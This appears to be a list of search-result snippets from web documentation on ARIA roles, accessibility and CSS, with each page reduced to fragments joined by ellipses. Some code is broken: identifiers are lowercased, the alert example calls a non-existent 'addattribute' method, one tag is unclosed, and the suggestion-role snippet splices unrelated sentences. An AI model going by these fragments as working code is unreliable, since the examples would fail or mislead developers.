the state of aria technology has always depended on the community.
... tbd: add proper accessibility markup to table genre software where to file notes screen readers freedom scientific jaws jaws technical support form gw micro window eyes window-eyes comments, questions, and feedback (email) non visual desktop access (nvda) file nvda bugs discuss nvda issues browsers apple safari file webkit.org bugs google chrome file chromium bugs microsoft internet explorer file ie bugs microsoft edge file ms edge bugs view existing ms edge aria bugs ...
... mozilla firefox file firefox bugs use component: disability access apis opera file opera bugs use [aria] in the summary field js libraries dojo toolkit file dojo bug put accessibility in the component field yahoo user interface file yui bugs file against specific component in category combobox and include aria in summary field ...
ARIA: alert role - Accessibility
it is perfect for situations such as when a user fills out a form and javascript is used to add an error message - the alert would immediately read out the message.
... <button type="button" onclick="triggeralert">trigger alert</button> <p class="alert">the alert will trigger when the button is pressed.</p> function triggeralert() { var alertel = document.queryselector('.alert'); alertel.addattribute("role", "alert"); } accessibility concerns the alert role should read out content that has changed, or bring the user's attention to it immediately, so it should not be used for static content or used regularly.
... recommendation wai-aria authoring practicesthe definition of 'alert' in that specification.
ARIA: Complementary role - Accessibility
using the <aside> element will automatically communicate a section has a role of complementary.
... best practices prefer html using the <aside> element will automatically communicate a section has a role of complementary.
... recommendation wai-aria authoring practicesthe definition of 'complementary landmark role' in that specification.
ARIA: document role - Accessibility
however, when the keyboard focus is set on the starting heading on a single conversation that contains the subject of the conversation, the screen reader user can use the reading mode commands to read through the messages, expand or collapse them, and manipulate them.
... added benefits the document role is an easy way to indirectly control assistive technology behavior by unambiguously stating that this is content the user should read with standard screen reader commands.
... recommendation screen reader support ...
ARIA: gridcell role - Accessibility
associated wai-aria roles, states, and properties grid communicates that a parent element is a a table or tree style grouping of information.
... row required to communicate the gridcell is part of a row of a table-style grouping of information.
...as such, it is recommended to use the utilize native html table markup instead of recreating a table's form and functionality with aria and javascript.
ARIA: Main role - Accessibility
by classifying and labeling sections of a page, structural information conveyed visually through layout can be represented programmatically.
... <main> <h1>active <code>main</code> element</h1> <!-- content --> </main <main hidden> <h1>hidden <code>main</code> element</h1> <!-- content --> </main> best practices prefer html using the <main> element will automatically communicate a section has a role of main.
... recommendation wai-aria authoring practicesthe definition of 'navigation landmark role' in that specification.
ARIA: Suggestion role - Accessibility
</p> we could even provide an information box saying who made the suggestion and when, and associate it with the suggestion via aria-details: <p>freida’s pet is a <span role="suggestion" aria-details="comment-source"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
... </p> <div id="comment-source">suggested by chris, <time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></div> browsers tend to provide a default black strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
... best practices prefer html using the <ins> and <del> element will automatically communicate a section has a role of insertion or deletion.
ARIA - Accessibility
it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism.
... using aria live regions to announce content changes a quick summary of live regions, by the makers of jaws screen reader software.
... wai-aria authoring practices the official best practices documents how best to aria-ify common widgets and interactions.
Accessibility and Spacial Patterns - Accessibility
the mechanism for this is poorly understood, but is believed to be linked to "gamma oscillations" set up in the brain.
... in 2005, arnold wilkins, john emmett, and graham harding evaluated the guidelines for characterizing patterned images that could precipitate seizures.
...colors and luminance braille part 3: a step-by-step guide to typesetting ada braille correctly in adobe illustrator spatial math in brailleblaster (4 of 5) government literature nasa: designing with blue math spatial reasoning: why math talk is about more than numbers scientific literature colour constancy in context: roles for local adaptation and levels of reference gamma oscillations and photosensitive epilepsy characterizing the patterned images that precipitate seizures and optimizing guidelines to prevent them arnold wilkins, john emmett, and graham harding contributers: heartfelt thanks to jim allan of the diagram center for his discussions on the topic of alternative means of education.
Accessibility Information for Web Authors - Accessibility
highly recommended, an excellent resource.
... accessibility valet from webthing description and summary to be written.
... join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
Understandable - Accessibility
it is better to just write all content at lower secondary level, even technical documentation like programming tutorials, unless there is a good reason not to (e.g.
... 3.3.4 error prevention (legal, financial, data) (aa) in the case of forms involved with entry of sensitive data (such as legal agreements, e-commerce transactions, or personal data), at least one of the following should be true: submissions are reversible.
...this pattern is commonly used on e-commerce sites like amazon.
::backdrop - CSS: Cascading Style Sheets
the ::backdrop css pseudo-element is a box the size of the viewport which is rendered immediately beneath any element being presented in full-screen mode.
... when multiple elements have been placed into full-screen mode, the backdrop is drawn immediately beneath the frontmost such element, and on top of the older full-screen elements.
... specifications specification status comment fullscreen apithe definition of '::backdrop' in that specification.
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
s its gloss</li> <li>flip it over and fry for a couple more minutes</li> <li>serve with your favorite topping</li> </ol> css li { padding:0.5em; } li[aria-current='step'] { font-weight:bold; } li[aria-current='step']::after { content: " \21e6"; /* hexadecimal for unicode leftwards white arrow*/ display: inline; } result specifications specification status comment css pseudo-elements level 4the definition of '::before' in that specification.
... recommendation introduces the two-colon syntax.
... recommendation initial definition, using the one-colon syntax ...
::placeholder - CSS: Cascading Style Sheets
an alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use aria-describedby to programmatically associate the <input> with its hint.
...without a label that has been programmatically associated with an input using a combination of the for and id attributes, assistive technology such as screen readers cannot parse <input> elements.
...lders in form fields are harmful — nielsen norman group examples red text html <input placeholder="type something here!"> css input::placeholder { color: red; font-size: 1.2em; font-style: italic; } result green text html <input placeholder="type something here..."> css input::placeholder { color: green; } result specifications specification status comment css pseudo-elements level 4the definition of '::placeholder' in that specification.
:checked - CSS: Cascading Style Sheets
WebCSS:checked
specifications specification status comment html living standardthe definition of ':checked' in that specification.
... recommendation defines the semantic regarding html.
... recommendation defines the pseudo-class, but not the associated semantic browser compatibility the compatibility table on this page is generated from structured data.
:disabled - CSS: Cascading Style Sheets
WebCSS:disabled
').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; } } result specifications specification status comment html living standardthe definition of ':disabled' in that specification.
... recommendation defines the semantics of html and forms.
... recommendation defines the pseudo-class, but not the associated semantics.
:enabled - CSS: Cascading Style Sheets
WebCSS:enabled
enabled):</label> <input type="text" id="firstfield" value="lorem"><br> <label for="secondfield">second field (disabled):</label> <input type="text" id="secondfield" value="ipsum" disabled="disabled"><br> <input type="button" value="submit"> </form> css input:enabled { color: #2b2; } input:disabled { color: #aaa; } result specifications specification status comment html living standardthe definition of ':enabled' in that specification.
... recommendation defines the semantics for html and forms.
... recommendation defines the pseudo-class, but not the associated semantics.
:first-child - CSS: Cascading Style Sheets
: lime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status comment selectors level 4the definition of ':first-child' in that specification.
... recommendation no change.
... recommendation initial definition.
:focus - CSS: Cascading Style Sheets
WebCSS:focus
quick tip: never remove css outlines specifications specification status comment html living standardthe definition of ':focus' in that specification.
... recommendation no change.
... recommendation initial definition.
:invalid - CSS: Cascading Style Sheets
WebCSS:invalid
ield { margin: 1px; padding: 1px; } input:invalid { background-color: #ffdddd; } form:invalid { border: 5px solid #ffdddd; } input:valid { background-color: #ddffdd; } form:valid { border: 5px solid #ddffdd; } input:required { border-color: #800000; border-width: 3px; } input:required:invalid { border-color: #c00000; } result accessibility concerns the color red is commonly used to indicate invalid input.
... specifications specification status comment html living standardthe definition of ':invalid' in that specification.
... recommendation defines the semantics of html and constraint validation.
:not() - CSS: Cascading Style Sheets
WebCSS:not
syntax the :not() pseudo-class requires a comma-separated list of one or more selectors as its argument.
...*/ body :not(.crazy, .fancy) { font-family: sans-serif; } result specifications specification status comment selectors level 4the definition of ':not()' in that specification.
... recommendation initial definition.
:valid - CSS: Cascading Style Sheets
WebCSS:valid
accessibility concerns the color green is commonly used to indicate valid input.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.1 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of ':valid' in that specification.
... recommendation defines the semantics of html and constraint validation.
@charset - CSS: Cascading Style Sheets
WebCSS@charset
it must be the name of a web-safe character encoding defined in the iana-registry, and must be double-quoted, following exactly one space character (u+0020), and immediately terminated with a semicolon.
...ing of the style sheet to unicode utf-8 */ @charset 'iso-8859-15'; /* invalid, wrong quoting style used */ @charset "utf-8"; /* invalid, more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
pad - CSS: Cascading Style Sheets
a common usage of the pad descriptor is when you need your list to start numbering from 01 and go through 02, 03 and so on, instead of just 1, 2, 3...
...ge>{1,2}<angle-percentage> = <angle> | <percentage> examples padding a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style pad-example { system: numeric; symbols: "0" "1" "2" "3" "4" "5"; pad: 2 "0"; } .list { list-style: pad-example; } result specifications specification status comment css counter styles level 3the definition of 'pad' in that specification.
... candidate recommendation initial definition ...
aspect-ratio - CSS: Cascading Style Sheets
h and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specifications specification status comment media queries level 4the definition of 'aspect-ratio' in that specification.
... candidate recommendation no change.
... recommendation initial definition.
color-gamut - CSS: Cascading Style Sheets
rec2020 the output device can support approximately the gamut specified by the itu-r recommendation bt.2020 color space or more.
... examples html <p>this is a test.</p> css @media (color-gamut: srgb) { p { background: #f4ae8a; } } result specifications specification status comment media queries level 4the definition of 'color-gamut' in that specification.
... candidate recommendation initial definition.
color-index - CSS: Cascading Style Sheets
<link rel="stylesheet" href="http://foo.bar.com/base.css" /> <link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/color-stylesheet.css" /> specifications specification status comment media queries level 4the definition of 'color-index' in that specification.
... candidate recommendation the value can now be negative, in which case it computes to false.
... recommendation initial definition.
color - CSS: Cascading Style Sheets
WebCSS@mediacolor
olor devices, red on devices with a low number of colors, and greenish on devices with a high number of colors.</p> css p { color: black; } /* any color device */ @media (color) { p { color: red; } } /* any color device with at least 8 bits per color component */ @media (min-color: 8) { p { color: #24ba13; } } result specifications specification status comment media queries level 4the definition of 'color' in that specification.
... candidate recommendation the value can now be negative, in which case it computes to false.
... recommendation initial definition.
device-aspect-ratio - CSS: Cascading Style Sheets
examples article { padding: 1rem; } @media screen and (min-device-aspect-ratio: 16/9) { article { padding: 1rem 5vw; } } specifications specification status comment media queries level 4the definition of 'device-aspect-ratio' in that specification.
... candidate recommendation deprecated in media queries level 4.
... recommendation initial definition.
device-height - CSS: Cascading Style Sheets
<link rel="stylesheet" media="screen and (max-device-height: 799px)" href="http://foo.bar.com/short-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-height' in that specification.
... candidate recommendation deprecated in media queries level 4.
... recommendation initial definition.
device-width - CSS: Cascading Style Sheets
<link rel="stylesheet" media="screen and (max-device-width: 799px)" href="http://foo.bar.com/narrow-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-width' in that specification.
... candidate recommendation deprecated in media queries level 4.
... recommendation initial definition.
grid - CSS: Cascading Style Sheets
WebCSS@mediagrid
neato!</p> css :not(.unknown) { color: lightgray; } @media (grid: 0) { .unknown { color: lightgray; } .bitmap { color: red; text-transform: uppercase; } } @media (grid: 1) { .unknown { color: lightgray; } .grid { color: black; text-transform: uppercase; } } result specifications specification status comment media queries level 4the definition of 'grid' in that specification.
... candidate recommendation no change.
... recommendation initial definition.
height - CSS: Cascading Style Sheets
WebCSS@mediaheight
ml <div>watch this element as you resize your viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div { background: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'height' in that specification.
... candidate recommendation the value can now be negative, in which case it computes to false.
... recommendation initial definition.
monochrome - CSS: Cascading Style Sheets
WebCSS@mediamonochrome
pixels!</p> <p class="no-mono">your device doesn't support monochrome pixels.</p> css p { display: none; } /* any monochrome device */ @media (monochrome) { p.mono { display: block; color: #333; } } /* any non-monochrome device */ @media (monochrome: 0) { p.no-mono { display: block; color: #ee3636; } } result specifications specification status comment media queries level 4the definition of 'monochrome' in that specification.
... candidate recommendation the value can now be negative, in which case it computes to false.
... recommendation initial definition.
orientation - CSS: Cascading Style Sheets
examples html <div>box 1</div> <div>box 2</div> <div>box 3</div> css body { display: flex; } div { background: yellow; } @media (orientation: landscape) { body { flex-direction: row; } } @media (orientation: portrait) { body { flex-direction: column; } } result specifications specification status comment media queries level 4the definition of 'orientation' in that specification.
... candidate recommendation no change.
... recommendation initial definition.
scan - CSS: Cascading Style Sheets
WebCSS@mediascan
if your screen uses progressive scanning, you should see a serif font.</p> css p { font-family: cursive; } @media (scan: interlace) { p { font-family: sans-serif; } } @media (scan: progressive) { p { font-family: serif; } } result specifications specification status comment media queries level 4the definition of 'scan' in that specification.
... candidate recommendation no change.
... recommendation initial definition.
width - CSS: Cascading Style Sheets
WebCSS@mediawidth
les html <div>watch this element as you resize your viewport's width.</div> css /* exact width */ @media (width: 360px) { div { color: red; } } /* minimum width */ @media (min-width: 35rem) { div { background: yellow; } } /* maximum width */ @media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'width' in that specification.
... candidate recommendation the value can now be negative, in which case it computes to false.
... recommendation initial definition.
@media - CSS: Cascading Style Sheets
WebCSS@media
name summary notes any-hover does any available input mechanism allow the user to hover over elements?
... width width of the viewport including width of scrollbar accessibility concerns to best accommodate people who adjust a site's text size, use ems when you need a <length> for your media queries.
... specifications specification comment feedback media queries level 5the definition of '@media descriptors' in that specification.
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
the two specifications share some common features, however, and if you have already learned how to use flexbox, the similarities should help you get to grips with grid.
... a common question then is how to make those items line up.
...the positioning context will be whatever element creates a positioning context as is common to other layout methods.
Consistent list indentation - CSS: Cascading Style Sheets
one of the most common style changes made to lists is a change in the indentation distance—that is, how far the list items are pushed over to the right.
... recommendations when altering the indentation of lists, make sure to set both the padding and margin.
...meyer, netscape communications last updated date: published 30 aug 2002 copyright information: copyright © 2001-2003 netscape.
General sibling combinator - CSS: Cascading Style Sheets
the general sibling combinator (~) separates two selectors and matches the second element only if it follows the first element (though not necessarily immediately), and both are children of the same parent element.
...e */ img ~ p { color: red; } syntax former_element ~ target_element { style properties } examples css p ~ span { color: red; } html <span>this is not red.</span> <p>here is a paragraph.</p> <code>here is some code.</code> <span>and here is a red span!</span> <code>more code...</code> <span>and this is a red span!</span> result specifications specification status comment selectors level 4the definition of 'subsequent-sibling combinator' in that specification.
... recommendation initial definition.
Media queries - CSS: Cascading Style Sheets
you can learn more about programmatically using media queries in testing media queries.
... testing media queries programmatically describes how to use media queries in your javascript code to determine the state of a device, and to set up listeners that notify your code when the results of media queries change (such as when the user rotates the screen or resizes the browser).
... specifications specification status comment media queries level 5 editor's draft css conditional rules module level 3 candidate recommendation media queries level 4 candidate recommendation media queries recommendation css level 2 (revision 1) recommendation initial definition ...
Shorthand properties - CSS: Cascading Style Sheets
the css specification defines shorthand properties to group the definition of common properties acting on the same theme.
...similarly, the most common font-related properties can be defined using the shorthand font, and the different margins around a box can be defined using the margin shorthand.
... see also css key concepts: css syntax, at-rule, comments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values.
Syntax - CSS: Cascading Style Sheets
WebCSSSyntax
each property has a set of valid values, defined by a formal grammar, as well as a semantic meaning, implemented by the browser engine.
...each (valid) declaration block is preceded by one or more comma-separated selectors, which are conditions selecting some elements of the page.
... at-rules that start with an at sign, '@' (u+0040 commercial at), followed by an identifier and then continuing up to the end of the statement, that is up to the next semi-colon (;) outside of a block, or the end of the next block.
Universal selectors - CSS: Cascading Style Sheets
</p> result specifications specification status comment selectors level 4the definition of 'universal selector' in that specification.
... recommendation defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements css level 2 (revision 1)the definition of 'universal selector' in that specification.
... recommendation initial definition ...
all - CSS: Cascading Style Sheets
WebCSSall
specifications specification status comment css cascading and inheritance level 4the definition of 'all' in that specification.
... candidate recommendation added the revert value.
... candidate recommendation initial definition.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
-moz-win-communicationstext firefox removed in firefox 64.
... -moz-win-communications-toolbox firefox removed in firefox 64.
... specifications specification status comment css basic user interface module level 4the definition of 'appearance' in that specification.
background-blend-mode - CSS: Cascading Style Sheets
there can be several values, separated by commas.
...543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications specification status comment compositing and blending level 1the definition of 'background-blend-mode' in that specification.
... candidate recommendation initial definition ...
background-clip - CSS: Cascading Style Sheets
it is recommended that authors of html documents specify the canvas background for the <body> element rather than the html element.
...60deg, red, yellow, red, yellow, red); font: 900 1.2em sans-serif; text-decoration: underline; } .border-box { background-clip: border-box; } .padding-box { background-clip: padding-box; } .content-box { background-clip: content-box; } .text { background-clip: text; -webkit-background-clip: text; color: rgba(0,0,0,.2); } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-clip' in that specification.
... candidate recommendation initial definition.
<basic-shape> - CSS: Cascading Style Sheets
if both shapes are of type path(), both paths strings have the same number and types of path data commands in the same order, interpolate each path data command as real numbers.
...%, 0% 50%, 40% 40%); animation: 4s poly infinite alternate ease-in-out; margin: 10px auto; } @keyframes poly { from { clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%); } to { clip-path: polygon(50% 30%, 100% 0%, 70% 50%, 100% 100%, 50% 70%, 0% 100%, 30% 50%, 0% 0%); } } result specifications specification status comment css shapes module level 1the definition of '<basic-shape>' in that specification.
... candidate recommendation initial definition.
<blend-mode> - CSS: Cascading Style Sheets
any change occurs immediately.
...7350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center, linear-gradient(to bottom, blue, orange); } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); selectelem.addeventlistener('change', () => { divelem.style.backgroundblendmode = selectelem.value; }); result specifications specification status comment compositing and blending level 1the definition of '<blend-mode>' in that specification.
... candidate recommendation initial definition.
border-bottom-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... recommendation initial definition ...
border-bottom-style - CSS: Cascading Style Sheets
-bottom-style: none;} .b2 {border-bottom-style: hidden;} .b3 {border-bottom-style: dotted;} .b4 {border-bottom-style: dashed;} .b5 {border-bottom-style: solid;} .b6 {border-bottom-style: double;} .b7 {border-bottom-style: groove;} .b8 {border-bottom-style: ridge;} .b9 {border-bottom-style: inset;} .b10 {border-bottom-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-style' in that specification.
... candidate recommendation no significant change.
... recommendation initial definition.
border-left-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... recommendation initial definition ...
border-left-style - CSS: Cascading Style Sheets
asses */ .b1 {border-left-style: none;} .b2 {border-left-style: hidden;} .b3 {border-left-style: dotted;} .b4 {border-left-style: dashed;} .b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {border-left-style: ridge;} .b9 {border-left-style: inset;} .b10 {border-left-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-style' in that specification.
... candidate recommendation no significant change.
... recommendation initial definition.
border-right-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... recommendation initial definition ...
border-right-style - CSS: Cascading Style Sheets
b1 {border-right-style: none;} .b2 {border-right-style: hidden;} .b3 {border-right-style: dotted;} .b4 {border-right-style: dashed;} .b5 {border-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove;} .b8 {border-right-style: ridge;} .b9 {border-right-style: inset;} .b10 {border-right-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-style' in that specification.
... candidate recommendation no significant change.
... recommendation initial definition.
border-top-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... recommendation initial definition ...
border-top-style - CSS: Cascading Style Sheets
example classes */ .b1 {border-top-style: none;} .b2 {border-top-style: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-style' in that specification.
... candidate recommendation no significant change.
... recommendation initial definition.
break-inside - CSS: Cascading Style Sheets
quisque commodo eget nisi sed pretium.
...spacing: 2px; column-span: all; } h1 + p { margin-top: 0; } p { line-height: 1.5; break-after: column; } figure { break-inside: avoid; } img { max-width: 70%; display: block; margin: 0 auto; } figcaption { font-style: italic; font-size: 0.8rem; width: 70%; } article { column-width: 200px; gap: 20px; } result specifications specification status comment css fragmentation module level 3the definition of 'break-inside' in that specification.
... candidate recommendation no change.
calc() - CSS: Cascading Style Sheets
WebCSScalc
the * and / operators do not require whitespace, but adding it for consistency is both allowed and recommended.
... specifications specification status comment css values and units module level 3the definition of 'calc()' in that specification.
... candidate recommendation initial definition ...
clear - CSS: Cascading Style Sheets
WebCSSclear
this paragraph clears both.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .both { border: 1px solid black; clear: both; } .black { float: left; margin: 0; background-color: black; color: #fff; width:20%; } .red { float: right; margin: 0; background-color: pink; width:20%; } p { width: 45%; } specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification.
... recommendation no significant changes, though details are clarified.
... recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
0,0,1 240,100 l 200 340 z')">path</option> </select> css #clipped { margin-bottom: 20px; clip-path: url(#cross); } javascript const clippathselect = document.getelementbyid("clippath"); clippathselect.addeventlistener("change", function (evt) { document.getelementbyid("clipped").style.clippath = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'clip-path' in that specification.
... candidate recommendation extends its application to html elements.
... recommendation initial definition (applies to svg elements only).
clip - CSS: Cascading Style Sheets
WebCSSclip
lityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to upper left"> <img id="middle" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped towards middle"> <img id="bottom-right" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to bottom right"> </p> result specifications specification status comment css masking module level 1the definition of 'clip' in that specification.
... candidate recommendation deprecates clip property, suggests clip-path as replacement.
... recommendation initial definition.
direction - CSS: Cascading Style Sheets
WebCSSdirection
formal definition initial valueltrapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax ltr | rtl examples setting right-to-left direction blockquote { direction: rtl; } specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification.
... proposed recommendation no change.
... recommendation initial definition.
<easing-function> - CSS: Cascading Style Sheets
keywords for common cubic-bezier easing functions ease the animation starts slowly, accelerates sharply, and then slows gradually towards the end.
... steps( n, <direction> ) steps(2, jump-start) steps(2, start) steps(4, jump-end) steps(4, end) steps(5, jump-none) steps(3, jump-both) steps-start the equivalent of steps(1, jump-start) steps-end the equivalent of steps(1, jump-end) step-start the animation jumps immediately to its final state, where it stays until the end.
...*/ steps(-3, start) /* there must be at least one step.*/ steps(0, jump-none) specifications specification status comment css animationsthe definition of '<timing-function>' in that specification.
env() - CSS: Cascading Style Sheets
WebCSSenv
area-inset-bottom, 50px); /* 50px because ua properties are case sensitive */ padding: env(x, 50px 20px); /* as if padding: '50px 20px' were set because x is not a valid environment variable */ padding: env(x, 50px, 20px); /* ignored because '50px, 20px' is not a valid padding value and x is not a valid environment variable */ the syntax of the fallback, like that of custom properties, allows commas.
... but, if the property value doesn't support commas, the value is not valid.
... specifications specification status comment css environment variables module level 1the definition of 'env()' in that specification.
flex-wrap - CSS: Cascading Style Sheets
WebCSSflex-wrap
ss="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:nowrap </h4> <div class="content1"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:wrap-reverse </h4> <div class="content2"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> css /* common styles */ .content, .content1, .content2 { color: #fff; font: 100 24px/100px sans-serif; height: 150px; text-align: center; } .content div, .content1 div, .content2 div { height: 50%; width: 300px; } .red { background: orangered; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .content { display: flex; fle...
...x-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status comment css flexible box layout modulethe definition of 'flex-wrap' in that specification.
... candidate recommendation ...
float - CSS: Cascading Style Sheets
WebCSSfloat
specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification.
... recommendation no change css level 1the definition of 'float' in that specification.
... recommendation initial definition ...
font-feature-settings - CSS: Cascading Style Sheets
e glyphs */ .smallcaps { font-feature-settings: "smcp" on; } /* convert both upper and lowercase to small caps (affects punctuation also) */ .allsmallcaps { font-feature-settings: "c2sc", "smcp"; } /* use zeros with a slash through them to differentiate from "o" */ .nicezero { font-feature-settings: "zero"; } /* enable historical forms */ .hist { font-feature-settings: "hist"; } /* disable common ligatures, usually on by default */ .noligs { font-feature-settings: "liga" 0; } /* enable tabular (monospaced) figures */ td.tabular { font-feature-settings: "tnum"; } /* enable automatic fractions */ .fractions { font-feature-settings: "frac"; } /* use the second available swash character */ .swash { font-feature-settings: "swsh" 2; } /* enable stylistic set 7 */ .fancystyle { font-fami...
...ly: gabriola; /* available on windows 7, and on mac os */ font-feature-settings: "ss07"; } specifications specification status comment css fonts module level 3the definition of 'font-feature-settings' in that specification.
... candidate recommendation initial definition ...
font-variation-settings - CSS: Cascading Style Sheets
registered axes are the most commonly encountered — common enough that the authors of the specification felt they were worth standardizing.
...some will end up becoming more common, and may even become registered over time.
... specifications specification status comment css fonts module level 4the definition of 'font-variation-settings' in that specification.
<frequency-percentage> - CSS: Cascading Style Sheets
d percentage values 90% positive percentage +90% positive percentage with leading + -90% negative percentage — not valid for all properties that use percentages invalid percentage values 90 % no space is allowed between the number and the unit valid frequency values 12hz positive integer 4.3hz non-integer 14khz the unit is case-insensitive, though non-si capitalization is not recommended.
... specifications specification status comment css values and units module level 4the definition of '<frequency-percentage>' in that specification.
... candidate recommendation defines <frequency-percentage>.
<frequency> - CSS: Cascading Style Sheets
WebCSSfrequency
examples valid frequency values 12hz positive integer 4.3hz non-integer 14khz the unit is case-insensitive, though non-si capitalization is not recommended.
... specifications specification status comment css values and units module level 3the definition of '<frequency>' in that specification.
... candidate recommendation initial definition.
hanging-punctuation - CSS: Cascading Style Sheets
force-end a stop or comma at the end of a line hangs.
... allow-end a stop or comma at the end of a line hangs if it does not otherwise fit prior to justification.
...praesent laoreet tortor massa, sit amet vulputate nulla pharetra ut.”</p> css p { hanging-punctuation: first last; margin: .5rem; } result specifications specification status comment css text module level 3the definition of 'hanging-punctuation' in that specification.
height - CSS: Cascading Style Sheets
WebCSSheight
</div> </div> css div { width: 250px; margin-bottom: 5px; border: 2px solid blue; } #taller { height: 50px; } #shorter { height: 25px; } #parent { height: 100px; } #child { height: 50%; width: 75%; } result specifications specification status comment css box sizing module level 4the definition of 'height' in that specification.
... recommendation adds support for the <length> values and precises on which element it applies to.
... recommendation initial definition.
Inheritance - CSS: Cascading Style Sheets
only the root element of the document gets the initial value given in the property's summary.
... non-inherited properties when no value for a non-inherited property has been specified on an element, the element gets the initial value of that property (as specified in the property's summary).
